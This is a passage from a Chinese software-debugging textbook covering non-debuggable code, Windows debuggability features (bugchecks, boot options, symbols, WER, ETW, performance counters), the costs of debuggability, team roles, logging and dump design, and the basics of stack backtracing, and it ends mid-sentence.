某些函数会检测当前是否在调试,如果不在调试过程中,会执行一
种路线,如果在调试过程中,会执行另一种路线。这样一来,前一种路
线便成为不可调试代码。比如位于NTDLL中的UnhandledExceptionFilter
函数,如果当前程序不在调试过程中,它会启动WER机制报告应用程
序错误;如果当前程序在调试过程中,那么它会简单地返回
EXCEPTION_CONTINUE_SEARCH,引发第二轮异常分发和处理。这
样一来,启动WER并报告应用程序错误的代码就变得不可调试。当
然,不可调试永远是相对的,可以使用特别的方法来调试产生错误对话
框的过程(详见本书后续分卷)。
15.4.4 反跟踪和调试的程序
出于各种考虑,某些程序会故意阻止被跟踪或调试。当检测到被调
试时,它们会通过进入死循环等方式抵抗跟踪;清除断点寄存器破坏断
点工作;插入所谓的花指令干扰反汇编程序进行反汇编等。被这些逻辑
所保护和遮挡的代码是难以调试的。
15.4.5 时间敏感的代码
当软件在调试器中运行时,它的运行速度通常会变慢,如果进行单
步跟踪和交互式调试,那么被调试软件可能长时间停留在一个位置。为
了支持调试,应该尽可能地避免编写时间敏感的代码,保证软件在被调
试时仍以原来的逻辑运行。
15.4.6 应对措施
不可调试代码的存在会为调试增添难度。这没有通用的方法来解
决,以下是可能的一些方案。
第一,使用不同的调试器,特别是硬件调试器,比如第7章介绍的
ITP/XDP调试器。
第二,动态修改调试器是否存在的检测结果(寄存器),调试
UnhandledExceptionFilter函数的方法就是这样做的。
第三,修改程序指针寄存器(EIP)强制跳转到要调试的程序路
径。比如在WinDBG中使用r命令就可以修改EIP寄存器的值。不过这样
做有较大的风险,容易破坏栈平衡,使程序异常终止。
第四,使用调试器的汇编功能动态修改阻碍调试的代码。举例来
说,如果被调试的路径上有一条断点指令(INT 3)防止我们向前跟
踪,那么可以使用WinDBG的a命令将其替换为nop指令。操作步骤是执
行a <地址>,然后在WinDBG的交互式编辑提示框中输入nop,按Enter
键后WinDBG便把nop指令编译到指定的地址,然后直接按Enter键结束
编辑。
15.5 可调试性例析
Windows是一个庞大而且复杂的操作系统,Vista的源代码行数约为
5000万行,NT 3.1的也有560万行。Vista安装后在磁盘上所占的空间约
为6GB,其中内核态核心模块NTOSKRNL.EXE的大小为3.4MB,
NTDLL.DLL为1.1MB。表15-1列出了Windows几个主要版本的
NTOSKRNL.EXE和NTDLL.DLL文件的典型大小。
表15-1 Windows的内核和NTDLL文件的大小(单位:字节)
文 件 名
NT 3.51
Win2K
XP SP1
XP SP2
Vista RTM
NTOSKRNL.EXE
804 864
1 640 976
2 042 240
2 180 096
3 467 880
NTDLL.DLL
307 088
481 040
668 672
708 096
1 162 656
从运行态来看,在一个典型的Windows系统中,大多数时候都有几
十个进程(数百个线程)在运行。以作者写作此内容时所使用的
Windows XP SP2系统为例,系统中共有82个进程,783个线程在工作。
对于Windows这样复杂的系统,可调试性对其是极其重要的。事实上,
好的可调试性是Windows系统成功的一个关键技术因素。如果没有这个
因素,这个系统也许就会因为太多的Showstopper而永远不能发布。本
节将从Windows操作系统中选取一些体现可调试性的特征进行分析,以
学习其中所蕴含的设计思想,并加深读者对软件可调试性的理解。
15.5.1 健康性检查和BSOD
在很多Windows内核函数中,存在类似如下的代码。
if(…)
BugCheckEx(…);
这样的代码通常称为健康性检查,即为了保证系统健全性而作的额
外检查。如果检查失败,则以蓝屏的形式报告出来。
健康性检查与断言(assert)不同,断言只存在于Checked版本中,
而健康性检查既存在于Checked版本中,又存在于Free版本中。事实
上,Checked和Free这两种称呼就是在开发Windows NT时,为了将包含
健康性检查的版本与不包含健康性检查的Release版本区分开来而引入
的。在此之前,通常只使用Debug和Release两种定义方式。表15-2列出
了这4种版本定义方式的主要差异。
表15-2 4种版本定义方式的比较
版 本
Debug
Checked
Free
Release
编译器优化(compiler optimization)
OFF
ON
ON
ON
调试追踪(debug trace)
ON
ON
OFF
OFF
断言(assertion)
ON
ON
OFF
OFF
健康性检查
ON
ON
ON
OFF
因为开发NT 3.1时,测试团队主要测试的是Checked版本和Free版
本,并没有对Debug和Release版本做很多测试,所以NT 3.1发布时没有
使用Release版本[3]。也就是说,健康性检查在正式发布的产品版本中依
然存在。这种做法一直延续到今天,而且这种定义方式也应用到驱动程
序开发中。从可调试性的角度来看,健康性检查和蓝屏机制有利于及时
发现错误和异常情况,并让错误“跳出来”。
15.5.2 可控制性
Windows操作系统中几乎随处都可以看到高灵活性和可控性的设
计。比如,Windows的启动配置文件(BOOT.INI)支持40多个选项来定
义系统的工作参数。另外,Windows的很多行为都可以通过修改注册表
中的键值来控制。可配置能力不但提高了Windows系统的灵活性,而且
有利于调试和维护。以下是使用配置选项来帮助调试的几个例子。
/BREAK,这个选项会告诉HAL在初始化时等待内核调试会话建
立,以便可以使更多的初始化代码可以被调试,详见本书后续分
册。
/KERNEL和/HAL,可以利用这两个选项来指定要使用的内核文件
和HAL文件。比如可以使用这种方法来将内核和HAL文件切换为
Checked版本。
/MAXMEM,指定Windows要使用的内存,利用这个选项可以模拟
只有在小内存系统才出现的问题。
/DEBU和/DEBUGPORT,分别用于启动和配置内核调试引擎。
/CRASHDEBUG,与/DEBUG在启动期间就启动内核调试不同,这
个选项告诉Windows,当系统出现蓝屏时再启动内核调试引擎,这
与应用程序中的JIT调试很类似。
/NOPAE,强制加载不包含PAE(Physical Address Extension)支持
的内核文件。这对于在支持PAE的硬件上调试非PAE情况下发生的
问题是很有帮助的。
/NUMPROC,指定要使用的CPU数目,使用这个选项可以在多CPU
系统上调试单CPU情况下的问题。
/YEAR,强制系统使用指定的年份,忽略计算机系统的实际年份,
该选项是为了帮助调试“2000年问题”而设计的。
使用注册表来帮助调试的例子也有很多,比如可以在Image File
Execution Options下为一个程序设置执行选项,让系统加载这个程序时
先启动调试器。
15.5.3 公开的符号文件
调试符号对于软件调试具有极其重要意义,有了调试符号可以大大
降低跟踪执行的难度,加快发现问题根源的速度。微软的调试符号服务
器为Windows操作系统的几乎所有程序文件提供了符号文件,并且包含
了公开发布的大多数版本。从微软的网站也可以根据操作系统版本下载
其对应的符号文件包。
公开的符号文件不但为调试和学习Windows操作系统提供了帮助,
而且为开发和调试Windows驱动程序和应用程序提供了支持。
15.5.4 WER
Windows错误报告(Windows Error Reporting,WER)机制可以自
动收集应用程序或系统崩溃的信息,生成报告,并在征求用户同意后发
送到用于错误分析的服务器(详见本书后续分卷)。自动报告是一种有
效的辅助调试手段,有利于降低调试成本,尤其对于产品期调试有着极
高的价值。
15.5.5 ETW和日志
ETW(Event Trace for Windows)机制可以高效地记录操作系统、
驱动程序,或者应用程序的事件(详见本书后续分卷)。使用ETW可以
有效地提高软件的可追溯性。
Windows操作系统主要有两种日志机制。一种是基于日志服务的,
调用ReportEvent API来写日志记录。另一种是Windows Vista引入的公用
日志文件系统(Common Log File System,CLFS)。CLFS的核心功能
是由一个名为CLFS.SYS的内核模块所提供的。CLFS.SYS输出了一系列
以Clfs开头的函数和结构,如ClfsCreateLogFile等,内核模式的驱动程序
可以直接调用这些函数。用户态的程序可以调用Clfsw32.dll所输出的用
户态API。
15.5.6 性能计数器
Windows操作系统内置了性能监视(performance monitor)机制,
通过性能计数器(performance counter)来记录软件的内部状态。
Windows预定义了大量反映操作系统内核和系统对象状态的计数器,软
件开发商也可以定义并登记其他计数器。
使用perfmon工具可以以图形化的方式观察性能计数器的值。
Windows XP引入了一个名为typeperf的命令行工具来观察性能计数器。
例如,以下是使用typeperf命令显示可用内存数量时的执行结果。
C:\> typeperf "Memory\Available Bytes" -si 00:05 //每5s更新一次
"(PDH-CSV 4.0)","\\AdvDbg002\Memory\Available Bytes"
"05/07/2007 17:08:36.375","1213886464.000000"
"05/07/2007 17:08:41.375","1211101184.000000"
…
性能计数器为系统管理员和计算机用户了解系统运行情况提供了一
种简单而有效的方式,对于调试系统中与性能有关的软硬件问题有着重
要作用。
15.5.7 内置的内核调试引擎
Windows内核调试引擎内置在每个Windows系统的内核之中, 主要
功能包含在NTOSKRNL.EXE中(详见本书后续分卷)。这意味着,内
核调试支持始终存在于Windows系统中,如果要对一个发生故障的系统
进行内核调试,不需要重新安装特别的版本或其他文件,这为调试
Windows内核和内核态的其他程序提供了很大的便利。
15.5.8 手动触发崩溃
Windows还有一个不太被注意的调试支持,即在注册表中设置了
CrashOnCtrlScroll = 1并重启后(详见本书后续分卷),按住标准键盘右
侧的Ctrl键后再按ScrollLock键,系统会产生一个特别的蓝屏崩溃,其停
止码为MANUALLY_INITIATED_CRASH(0xE2)。因为蓝屏可以触发
崩溃时才激活的内核调试(/CRASHDEBUG)和内核转储,所以这个支
持对调试某些随机的系统僵死很有用,比如突然没有响应或在开机关机
过程中发生的无限等待。
本节介绍了Windows操作系统内置的一些调试支持,类似的例子还
有很多。通过这些例子,读者可以认识到支持可调试性的意义,以及带
来的好处,同时也应该思考如何在自己的软件产品中加入类似的机制。
15.6 与安全、商业秘密和性能的关系
任何事物都有两面性,我们不得不承认实现可调试性本身也是有代
价的。特别应该注意以下几个方面的影响:安全、性能和商业秘密。
15.6.1 可调试性与安全性
高可调试性追求对软件的全方位掌控,可以了解其状态的任何细
节,并控制它的行为。这对调试来说是有利的,但是如果这些功能或机
制被恶意软件或入侵的黑客所使用,那么导致的后果可能很严重。这就
好比武器被别人盗用了,武器越强大,导致的危害可能越大。
考虑到这一点,当设计可调试性机制时,应该配以必要的安全防范
措施。例如,可以设计登录和验证机制,根据用户的角色决定他可以使
用的功能。这就好像网站的管理和维护功能只对网站的管理员开放。
15.6.2 可调试性与商业秘密
实现可调试性时也要注意防止泄漏商业和技术秘密。如果日志或调
试信息中包含重要的算法和资料,那么在存储和输出信息前,应该先将
信息加密,或者借助ETW技术使用二进制格式来输出日志信息,并控制
好格式文件(TMF文件)。但是这种保密只会增加阅读的难度,攻击者
还有可能分析出有效的数据。
因为符号文件包含了软件的很多细节,所以应该注意合理保护PDB
文件,尤其是包含全部调试信息的私有符号文件。对于合作伙伴或客户
通常只提供剥离私有符号后的公开符号文件。使用/PDBSTRIPPED链接
选项可以产生公开符号文件。
15.6.3 可调试性与性能
可调试性对性能的影响主要体现在两个方面,从空间角度来看,在
程序中支持可调试性必然会增加可执行文件的大小,生成日志等信息会
占用一定的磁盘空间。从时间角度来看,用于提高可调试性的代码可能
会占用少量的CPU时间。因此当设计可调试性机制时,应该注意以下两
点。
第一,将调试机制设计成可开关的,最好是可以动态开关的。于
是,当不需要调试时,调试机制的影响非常小;当需要调试时,又可以
立刻开启。
第二,防止调试机制被错用和滥用,调试机制的目的是辅助调试,
不应该用于其他目的。应该避免过量使用调试机制,否则不但会影响性
能,而且对调试本身也可能产生副作用。举例来说,如果频繁输出大量
的重复信息,会使调试者眼花缭乱,难以找到真正有用的信息。
相对于提高可调试性所带来的好处,它的副作用还是可以接受的,
而且只要处理得当,可以把这种影响降得很低。
15.7 本章小结
从调试和维护软件所付出的代价来看,人们对软件可调试性的重视
还很不够。如果像每个建筑中都必须配备消防设施那样在每个软件中都
配备必要的调试设施,那么花在软件调试上的时间和投入都会大幅下
降。
本章比较详细地讨论了软件可调试性的内涵、基本原则和重视可调
试性的意义,并分析了Windows操作系统中体现可调试性的设计。最后
一节探讨了可调试性与安全、商业秘密和性能的关系。第16章将进一步
讨论如何在软件工程中实现可调试性。
参考资料
[1] H P E Vranken, M P J Stevens, M T M Segers. Design-For-Debug
in Hardware/Software Co-Design.
[2] G Pascal Zachary. Showstopper: The Breakneck Race to Create
Windows NT and the Next Generation at Microsoft[M]. The Free Press,
1994.
[3] Larry Osterman. Where do“checked”and“free”come from?
第16章 可调试性的实现
第15章讨论了增强软件可调试性的意义、目标和基本原则。本章将
在上一章的基础上讨论实现可调试性的基本方法。本章首先介绍软件团
队中的各种角色在提高可调试性方面应该承担的职责(见16.1节),然
后介绍如何在架构设计阶段就为提高可调试性做好各种规划和准备(见
16.2节),接下来分别讨论实现可追溯性(见16.3~16.4节)、可观察
性(见16.5节)和自动诊断与报告(见16.6节)的典型方法。
16.1 角色和职责
因为调试的效率直接影响项目的进度,无法解决的调试问题可能导
致整个项目陷入停滞,所以实现可调试性应该是软件团队中所有人的共
同目标。读者都应该对提高可调试性给予足够的重视和支持,就像重视
安全、质量和可靠性等一样。
16.1.1 架构师
软件架构师是规划和缔造软件系统的核心角色,他们负责规划软件
系统的整体框架、模块布局、基础设施和基本的工作方式,参与制订开
发策略、方针和计划,并指导开发过程。软件架构师在软件团队中的地
位好比是建筑团队中的总设计师。作为一个好的架构师,应该充分意识
到提高可调试性的重要意义,承担起如下职责。
在架构设计中规划统一的支持可调试性的策略、机制和设施,包括
检查、记录和报告错误的方法,输出调试信息和记录日志的方式,
专门用来辅助调试的模块(如模拟器等),简化调试的设施等。
设计必要的技术手段,提醒或强制程序员在编码时实现可调试性。
制订提高可调试性的指导意见和纪律,并写入软件项目的开发方针
中,以纪律强制这些策略的执行,并检查和监督执行情况。
通过培训或其他沟通方式让团队成员理解可调试性的意义和实现方
法。
参与调试重大的软件问题,验证调试机制的有效性,并向团队证明
这些机制所带来的好处。
下一节将更详细地讨论如何在架构设计中规划和设计支持调试的基
础设施。
16.1.2 程序员
程序员是建造软件大厦的主力军。他们在搭建这个大厦的同时还负
责调试这个大厦中存在的问题。在产品发布之前,程序员要负责调试与
自己所编写代码有关的问题。在产品发布后,支持和维护工程师会承担
大部分调试工作,但如果支持工程师无法解决,那么通常还是需要程序
员来解决。根据粗略的统计,大多数程序员花一半以上的时间在调试
上,当项目进入Beta阶段和邻近产品发布时这个比例通常会更高。某些
团队的测试工程师会承担一部分调试职能(稍后会详细讨论),但是他
们通常只负责初步的分析,将错误定位到模块一级,然后通常还会分派
给开发人员(程序员)。概而言之,程序员同时是编写代码和调试代码
的主要力量。因此,对于提高可调试性,程序员是主要的执行者,也是
主要的受益者。他们应该承担的职责如下。
重视错误处理,认真编写错误检查和错误处理代码。不要因为出现
错误是小概率事件就草草编写一些代码,要知道很多造成重大损失
的大问题都是由于编写代码时的小疏忽所造成的。
认真执行架构师所制订的提高可调试性的各项策略和方针。当编写
代码时,合理应用各种提高可调试性的原则,努力提高代码的可调
试性。如果发现有不合理的地方,应该及时提出,而不是消极放
弃。
熟练使用各种调试工具,善于使用调试方法来充分理解程序的执行
流程,发现并纠正其中潜在的错误。
正确对待分配给自己的软件问题(Bug),不推诿,不敷衍,积极
使用调试工具和提高可调试性的机制来定位问题根源,及时更新关
于问题的记录。
检查日志文件和其他调试机制所生成的信息,检查是否存在不正常
情况,并根据日志信息审查代码中可能存在的问题。
Robert Charles Metzger在其《Debugging by Thinking: A
Multidisciplinary Approach》一书中指出,导致现在的软件有如此多缺陷
的原因有很多,其中之一是很多程序员并不擅长调试。提高软件的可调
试性有利于降低程序员调试软件的难度,培养程序员的调试兴趣。
16.1.3 测试人员
在软件团队中,测试人员与开发人员之间经常发生争吵或相互埋
怨。测试人员会抱怨软件中存在的问题太多,并念叨一个以前修复了的
问题为什么又再次出现。开发人员会抱怨测试人员的问题报告含糊不
清,难以理解,或者报告的问题根本无法再现。提高软件的可调试性尽
管不能彻底解决这些矛盾,但是至少会从如下几个方面有所帮助。
高可调试性有利于程序员深刻理解代码的执行过程,提高对代码的
控制力,从根本上提高代码的质量,降低代码的问题率(每千行源
代码的Bug数)。另外,利用日志等调试机制,程序员可以在开发
阶段或单元测试阶段发现和解决更多问题,这样发布给测试人员的
软件质量就会明显提高。因此高可调试性有利于减少测试人员所发
现的问题(Bug)数,使他们集中测试程序员难以测试的情况。
测试人员可以利用调试机制来辅助测试并发现和描述问题。这样发
现的问题通常更容易被开发人员所理解和解决。
调试机制可以帮助测试人员理解软件的工作机理和内部状态,指导
测试方法,尽早发现问题,特别是深层次的问题。
从事白盒测试的测试人员可以利用调试机制审核代码和算法,当编
写测试脚本时,也可以使用调试机制所提供的设施来检测测试案例
的执行结果。
综上,提高软件的可调试性会给测试工作和测试人员带来直接的好
处。测试人员应该积极支持为提高可调试性所做的各种工作,并承担起
如下职责。
理解提高软件可调试性的重要意义,支持开发人员实现可调试性,
为他们提供测试支持。
充分利用可调试机制帮助测试工作,提高测试效率。这有利于进一
步发挥可调试机制的价值,进一步推动并提高软件的可调试性。
从根本上来说,测试的目的是发现软件问题,保证软件质量,按期
完成开发计划。如果有很多顶级问题(showstopper)难以解决,那么测
试人员与开发人员都会承受着很大的压力,从这个意义上来说,他们应
该共同为提高可调试性努力。
16.1.4 产品维护和技术支持工程师
在软件产品发布后,产品维护和技术支持工程师(以下简称支持工
程师)成为调试各种产品期问题的主要力量。在客户报告一个问题后,
支持工程师需要理解客户的描述,思考是用户使用的问题还是产品本身
的问题。如果可能是产品本身的问题,那么需要在自己的系统中重现这
个问题,然后利用各种调试手段定位问题的根源。这种情况下可能遇到
的一个棘手问题就是无法重现客户报告的问题。要解决这个问题,可能
不得不跑到客户那里去。但另一种更有效的办法就是通过软件的调试支
持,让软件自动收集各种环境信息和错误信息,并生成报告。然后,支
持人员可以利用这些报告来定位问题的根源。除了错误报告之外,日志
文件是支持工程师经常使用的另一主要途径,很多支持工程师使用日志
来寻找导致错误的原因和线索。总之,提高软件的可调试性对于产品期
调试和技术支持有着重要意义。技术支持工程师应该积极支持并推动软
件产品的可调试性,利用支持调试的设施解决问题,并将改善调试设施
的意见反馈给架构师和开发人员。
16.1.5 管理者
像David Cutler这样的代码勇士(Code Warrior)和软件天才是不喜
欢管理者干涉软件项目的。1975年,他在DEC带领一个十几个人的团队
开始开发VMS(Virtual Memory System,后来改名为OpenVMS)操作
系统。1977年VMS操作系统随着VAX计算机的发布而同时发布,这是
第一台商业化的32位计算机系统,也是计算机历史上硬件与操作系统一
起从头开发并一起发布的少量组合之一。VMS非常成功,这个成功使
DEC公司开始重视Cutler所带领的这个操作系统项目,很多管理者开始
频繁介入到项目中,这使David Cutler发怒了:“无论你要做什么,所有
的Tom、Dick和Harry都会跑过来挑三拣四,挡住项目的去路。”不久,
David Cutler离开了VMS团队,并声称要离开DEC,这让他的老板
Gordon Bell说出了那句经典的话:“带上你想要的任何人,去任何你想
去的地方,做任何你想做的事。DEC都会为你付钱,告诉我你需要多少
钱,我们会为你拨款。”这样好的老板感动了David Cutler,在新创建的
西雅图实验室,他开始了新的开发。1983年Gordon Bell离开DEC,1988
年David Cutler的Prism项目被取消,他因此离开了DEC[1]。
在开发NT的长达5年的时间里,尽管有多次延期,还有难以避免的
意见分歧,但是David Cutler始终得到了管理者强有力的支持。NT项目
给了他成就理想的机遇,他可以按照自己的想法设定目标,并有充分的
自由使其成为现实,没有管理层来管闲事。但这样和谐的氛围在今天的
软件开发中越来越少了。很多管理者脱离技术和项目的实际状况,武断
地干预开发计划,压缩项目时间。
实现可调试性会需要一定的开发资源,但是正如前面所讨论的,它
会带来很多好处:提高程序员的调试和开发效率;加快解决软件问题的
速度;使整个项目的可控性提高;通过辅助技术的支持降低产品维护成
本,等等。从这个意义上来说,提高可调试性有利于保证项目如期完成
并节约成本。所以,管理者应该充分支持为提高软件可调试性所做的努
力,为其分配足够的资源。
本节讨论了软件团队中的几个关键角色在提高实现软件可调试性方
面应该承担的职责。这些内容完全是作者根据个人经验进行的归纳,希
望读者能从中得到启发。对于具体的软件项目,应该根据实际情况为每
个角色定义更明确的职责。
16.2 可调试架构
架构是构建软件的蓝图,它决定了软件的基本结构和工作方式,包
括其中包含哪些模块,各模块间如何通信等。因为调试支持涉及软件的
总体结构,对整个软件的质量有着直接的影响,所以架构师在设计软件
结构时应该重视软件的可调试性,规划好支持调试的各种设施。
16.2.1 日志
日志对提高软件的可观察性和可追溯性都大有好处。好的日志反映
了软件的内部状态,特别是软件运行时遇到的异常情况,是调试软件问
题的宝贵资源。
日志大多是以文本文件方式记录的,但也可以记录在数据库中,或
者以二进制文件方式记录。记录日志并不复杂,但是方法很多,灵活性
很大。对于一个软件产品,应该使用一套统一的日志机制。
首先,日志信息应该集中存储在一个地方,这样不但有利于节约存
储空间,而且便于检索和维护。试想,如果一个软件的日志存储在很多
地方,需要到很多地方去寻找,那么当调试与很多软件有关的系统问题
时,调试人员可能根本找不到需要的日志文件。
其次,选择并定义一种方法来记录日志,可以使用操作系统的
API(如Windows的Event Log或CLFS),也可以自己写文件。但无论使
用哪种方法,都最好将其封装为简单的类或函数,将存储日志的细节隐
含起来,使程序员只要通过一个简单的函数调用就可以添加日志记录,
比如以下代码。
void Log(LPCTSTR lpszModule, UINT nLogType, LPCTSTR lpszMessage);
封装好的类或函数应该以公共模块的方式发布给所有开发人员。使
用统一的方法来添加日志记录,既有利于实现日志的集中存储,又简化
了程序员写日志所需的工作量,防止他们对写日志产生厌烦甚至抵触情
绪。
16.2.2 输出调试信息
输出调试信息是另一种常用的调试手段,与写日志相比,它具有更
加简单快捷的优点,通常需要的时间和空间开销也更小。输出调试信息
的常见方式有如下几种。
使用类似print这样的函数直接显示到某个输出设备。比如在DOS和
Windows的控制台程序中使用print语句,可以将信息直接显示到屏
幕或控制台窗口。这种方法也使用在某些嵌入式和移动设备(手
机)的开发中。
使用操作系统的API将调试信息输出到调试器或者专门的工具。典
型的例子是Windows的OutputDebugString函数。因为
OutputDebugString通过RaiseException API产生的一个特殊的异常来
发布调试信息,所以过于频繁地调用这个函数会对软件的性能产生
影响。
使用编译器提供的宏来显示调试信息,比如MFC类库提供的
TRACEn宏,n可以为0、1、2、3,并且代表格式字符串中包含的
参数个数,这几个宏实际上都调用AfxTrace函数。AfxTrace函数将
待输出的信息格式化为一个大的字符串并发送给一个名为afxDump
的全局变量。afxDump是CDumpContext类的一个全局实例。最终,
afxDump通过OutputDebugString将调试信息输出给调试器。类似
地,ATL类库提供了ATLTRACE2宏。TRACE宏最重要的特征就是
只在调试版本中有效,当编译发布版本时,它们会被自动替换为空
(编译为(void) 0)。
合理地使用调试信息输出有利于提高软件的可调试性,但应该注意
以下几点。
因为可能有很多个进程和线程都向调试器输出调试信息,使得很多
信息混杂在一起,并且难以辨认,所以输出调试信息时应该附加上
必要的上下文信息(线程、函数名等),以提高信息的价值。
合理安排输出信息的代码位置,认真选择要输出的内容(变量值、
位置等),不要输出含糊不清的信息。要适当控制输出信息的数
量,如果输出的信息太多,有时反而适得其反。例如,在手机等嵌
入式设备的开发中,输出的信息通常显示在很小的屏幕上,新的信
息会将旧的信息覆盖掉,所以,如果输出的信息过于频繁,那么有
用的信息很可能被后来没什么价值的信息所掩盖掉。
因为调试信息输出通常是不保存的,而且TRACE宏在发布版本中
是自动移除的,所以不能因为输出调试信息而忽视了记录日志。
在软件的架构设计阶段,应该根据软件产品的实际情况选择合适的
方法,并将决定写入项目的开发规范中。
16.2.3 转储
所谓转储(dump)就是将内存中的软件状态输出到文件或者其他
设备(如屏幕等)上。常见的转储有以下几种。
对象转储,对某个内存对象的状态(属性值)进行转储。
应用程序转储,对应用程序用户空间中的关键状态信息进行转储,
包括每个线程的栈、进程的环境信息、进程和线程的状态等。使用
Windows的MiniDumpWriteDump API可以很方便地将一个进程的当
前状态转储到一个文件中。当应用程序发生严重错误时,系统会自
动为其产生转储文件,但是也可以在其他时候产生转储,产生转储
并不意味着程序就要终止(本书后续分卷将详细讨论该内容)。
系统转储,即对整个系统的状态进行转储,比如发生蓝屏时所产生
的转储(详见本书后续分卷)。
可以把转储视为软件的拍照,它记录了被转储对象在转储那一瞬间
的真实情况。完全的系统转储包含了内存中的所有数据,可以为调试提
供丰富的信息。转储的另一个有用特征就是它可以将某一瞬间的状态永
远保存下来,然后发送和传递到任何地方,这对于产品期调试和那些无
法亲临现场进行调试的情况非常有价值。另外,转储操作非常适合软件
来自动生成,因此,在设计崩溃处理或自动错误报告功能时可以将其作
为收集错误现场的一种方法。
MFC的基类CObject定义了Dump方法用于实现对象转储,该方法的
默认实现如下。
void CObject::Dump(CDumpContext& dc) const
{
dc << "a " << GetRuntimeClass()->m_lpszClassName <<
" at " << (void*)this << "\n";
UNUSED(dc); // unused in release build
}
派生类通常会重新实现这个方法,输出更多的状态信息。例如以下
是CDialog类的Dump方法所输出的信息。
a CDialog at $12FE1C //对象的类名和内存位置
m_hWnd = 0x7200AC (permanent window) //窗口句柄值
caption = "D4D Testing" //窗口标题
class name = "#32770" //窗口类的名称
rect = (L 221, T 142, R 803, B 597) //窗口的坐标
parent CWnd* = $0 //父窗口对象的地址
style = $94C800C4 //窗口风格
m_lpszTemplateName = 102 //窗口资源的模板ID
m_hDialogTemplate = 0x0 //对话框资源的句柄
m_lpDialogTemplate = 0x0 //对话框资源的地址
m_pParentWnd = $0 //父窗口对象的地址
m_nIDHelp = 0x66 //帮助信息的ID
其中,第1行是CObject类输出的,第3~8行是CWnd类输出的,最
后5行是CDialog类输出的。
16.2.4 基类
当设计软件架构时,可以通过定义统一的基类来传达设计理念和强
化设计规范。比如设计一些公共方法,以方便派生类的实现,也可以设
计一个纯虚的方法来要求每个需要实例化的派生类都必须实现这个方
法。
class D4D_API CD4dObject //D4D代表Design for Debug
{
public:
CD4dObject(); //构造函数
virtual ~CD4dObject(); //析构函数
void Log(LPCTSTR szModule, LPCTSTR szFunction, //
UINT uLogLevel, LPCTSTR szMsgFormat, ...); //日志方法
void Msg(UINT nResID, ...); //消息提示
virtual DWORD UnitTest (DWORD dwParaFlags) = 0; //单元测试
virtual DWORD Dump(HANDLE hFile); //对象转储
};
以上是一个示意性的基类定义。其中,Log方法用来提供日志功
能;Msg方法用于输出用户可见的消息;UnitTest方法用来支持单元测
试,它是纯虚的,因此要求非虚派生类必须实现它;Dump方法用于支
持对象转储。
16.2.5 调试模型
当设计软件架构时,应该考虑如何调试这个软件,包括开发期调试
的方法和产品期调试的方法。如下问题特别值得注意。
对于不能独立运行的库模块,如DLL和静态库,应该设计一个简单
的可执行程序(EXE)专门供调试使用,我们把这样的程序称为靶
子程序。利用靶子程序,开发者可以测试和调试不能直接运行的库
模块,不必等待项目中真正使用这个模块的程序开发后才能调试。
另外,出现Bug时也容易定位和排除。当然,在集成测试阶段,靶
子程序需要与真实的模块一起使用。
对于被系统或者其他模块自动启动的程序,尽量设计一个特别的命
令行开关,使其支持手动启动,因为调试时手动启动更方便。为了
启动被调试程序而执行一大堆操作必然会影响调试的效率。
对于依赖于小概率事件(比如系统崩溃)触发才开始工作的模块,
应该设计一个工具软件,使用这个工具可以方便地触发这个事件并
开始调试。
对于需要硬件配合才能调试的程序,如果这个硬件比较昂贵或稀
缺,那么需要很多人共享一台,或者这个硬件开启成本较高,那么
尽量编写一个模拟器程序。这个模拟器程序可以模拟硬件的行为,
输出真实硬件所产生的数据。利用模拟器,程序员不但可以在没有
硬件设备的情况下进行调试,而且可以利用模拟器来模拟硬件设备
不支持的功能以辅助调试,比如可以让模拟器停止在某个状态或者
慢速工作以配合调试。
如果软件的某些功能难以通过普通的手工测试来发现问题,那么应
该设计专门的测试工具,这些工具有利于测试,对调试也是有帮助
的。
综上所述,应该为每个模块设计一种简便的调试方式,使程序员可
以方便地调试他所负责的模块。这有利于提高程序员进行调试的积极
性,使用调试方法解决问题和提高代码质量。
架构设计是软件开发中关键而且复杂的任务,本节介绍的内容仅供
架构师参考。
16.3 通过栈回溯实现可追溯性
在基于栈架构的计算机系统(今天的大多数计算机系统)中,栈中
详细记录了线程的执行过程,包括函数的参数、局部变量和返回地址等
信息。这些信息反映了线程在函数一级的执行路线,这对于追溯代码执
行轨迹和追踪问题根源有着重要意义。因为越晚调用的函数离栈顶越
近,所以通过栈信息生成函数调用记录时,从栈顶开始向栈底追溯,于
是这个过程称为栈回溯(stack backtrace)。本节将讨论如何利用栈回溯
来实现代码的可追溯性。
16.3.1 栈回溯的基本原理
对于基于栈的计算机系统,栈是进行函数调用的必须设施,因为函
数调用指令(如call)需要将函数返回地址压入栈中,而函数返回指令
(如ret)就通过这个地址知道要返回哪里。除了函数返回地址之外,如
果一个函数使用的调用规范需要通过栈来传递参数,那么栈上还会有调
用这个函数的参数。栈也是分配局部变量的主要场所。这样一来,对于
一个工作中的线程,每个尚未返回的函数在栈上会有一个数据块。这个
数据块至少包含它的返回地址,还可能包含参数和局部变量,这个数据
块即所谓的栈帧(stack frame)。每个尚未返回的函数都拥有一个栈
帧,按照函数调用的先后顺序,从栈底向栈顶依次排列。
因为每个函数需要在栈上存储信息的数量不固定,所以每个栈帧的
长度是不固定的,这就使得定位每个函数的栈帧起止位置有时可能很困
难。为了记录各个栈帧的位置,x86 CPU配备了一个专门的寄存器,即
EBP(Extended Base Pointer)。通常EBP寄存器的值就是当前函数栈帧
的基准地址。所谓基准地址,是指用来标识这个栈帧的一个参考地址。
有了这个基准地址,就可以使用它来索引参数和局部变量,比如使用
EBP + 4来索引函数返回值,使用EBP + 8来索引放在栈上的第一个参
数,使用EBP - XXX来索引局部变量。
通过EBP寄存器通常可以知道当前函数的栈帧,那么如何找到上一
个函数的栈帧呢?简单的回答是,在当前栈帧的基准地址处记录了上一
个栈帧基准地址的值。
以下面所示的情况为例,0019fee8 是FuncC函数的栈帧基准地址,
观察这个地址的内容。
0:000> dd 0019fee8 L1
0019fee8 0019ff40
结果是0019ff40,那么地址0019ff40就是上一个函数(Main函数)
的栈帧基准地址。依此类推,可以逐级找到前一个函数的栈帧。
0019fee8 004011b4 LocalVar!FuncC
0019ff40 00401509 LocalVar!main+0x34
0019ff80 761d8674 LocalVar!mainCRTStartup+0xe9
0019ff94 777a4b47 KERNEL32!BaseThreadInitThunk+0x24
0019ffdc 777a4b17 ntdll!__RtlUserThreadStart+0x2f
0019ffec 00000000 ntdll!_RtlUserThreadStart+0x1b
影响栈回溯的一个因素就是帧指针省略,即通常所说的FPO。因为
在栈上保存帧指针至少需要执行一条压入操作(push ebp),所以作为
一项优化措施,编译器在编译某些短小的函数时,可能不更新EBP寄存
器,不为这个函数建立独立的栈帧。对于这样被FPO优化的函数,尽管
栈上还有它的返回地址信息和可能的局部变量等数据,但是由于它的栈
